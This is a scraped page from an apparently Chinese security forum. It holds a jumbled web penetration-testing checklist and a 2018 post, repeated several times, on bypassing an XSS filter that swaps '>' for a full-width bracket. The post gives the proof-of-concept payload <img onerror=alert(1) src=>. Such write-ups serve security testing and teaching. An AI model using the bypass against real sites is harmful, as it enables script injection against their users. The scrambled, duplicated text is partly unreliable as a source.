请测试所有接口水平越权情况1.7 XSS测试
请测试所有接口垂直越权情况
反射型XSS1.8 SQL注入测试
存储型XSS
DOM型XSS
SQL注入测试1.9 CSRF测试
写接口限制测试
写接口限制测试
1.10 敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试
1.11 任意文件读取
1.12 URL重定向测试
1.13 页面点击劫持
1.14 XXE
1.15 SSRF
1.16 CORS问题
记一次有意思的XSS绕过之奇葩的中文尖括号
lawliet 发表了文章 • 3 个评论 • 289 次浏览 • 2018-09-02 23:18
记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过，过滤方式比较奇葩，把>变为了中文的尖括号＞，导致插入页面的xss payload不能被浏览器解析，但是经过一番测试无意间发现了一种绕过方式，构造方法比较特殊，在这分享一下~奇葩的过滤
过滤方式如下
可以看到对输入的过滤是将>变为了中文的尖括号＞，这样的话浏览器在解析html标签时，由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行，加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点，所以在构造xss的时候>符号是必不可少的bypass
绕过其实也很简单，构造payload如下<img onerror=alert(1) src=>
这一点的构造思路正是用到了中文尖括号＞在浏览器解析时不能被浏览器识别的特点，这样的话＞”</span会被浏览器当成img标签的src属性的属性值，也就是一个错误的图片资源，导致后面span标签的>逃逸，于是span标签的>闭合了img标签，xss payload执行
查看全部
记录一个我实战中遇到的比较有意思的XSS绕过，过滤方式比较奇葩，把>变为了中文的尖括号＞，导致插入页面的xss payload不能被浏览器解析，但是经过一番测试无意间发现了一种绕过方式，构造方法比较特殊，在这分享一下~奇葩的过滤
过滤方式如下
可以看到对输入的过滤是将>变为了中文的尖括号＞，这样的话浏览器在解析html标签时，由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行，加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点，所以在构造xss的时候>符号是必不可少的bypass
绕过其实也很简单，构造payload如下<img onerror=alert(1) src=>
这一点的构造思路正是用到了中文尖括号＞在浏览器解析时不能被浏览器识别的特点，这样的话＞”</span会被浏览器当成img标签的src属性的属性值，也就是一个错误的图片资源，导致后面span标签的>逃逸，于是span标签的>闭合了img标签，xss payload执行
查看全部
记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过，过滤方式比较奇葩，把
过滤方式如下
可以看到对输入的过滤是将
绕过其实也很简单，构造payload如下
这一点的构造思路正是用到了中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过，过滤方式比较奇葩，把
>变为了中文的尖括号
＞，导致插入页面的xss payload不能被浏览器解析，但是经过一番测试无意间发现了一种绕过方式，构造方法比较特殊，在这分享一下~奇葩的过滤
过滤方式如下
>变为了中文的尖括号
＞，这样的话浏览器在解析html标签时，由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行，加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点，所以在构造xss的时候
>符号是必不可少的bypass
绕过其实也很简单，构造payload如下
<img onerror=alert(1) src=>
这一点的构造思路正是用到了中文尖括号
＞在浏览器解析时不能被浏览器识别的特点，这样的话
＞”</span会被浏览器当成img标签的src属性的属性值，也就是一个错误的图片资源，导致后面span标签的
>逃逸，于是span标签的
>闭合了img标签，xss payload执行
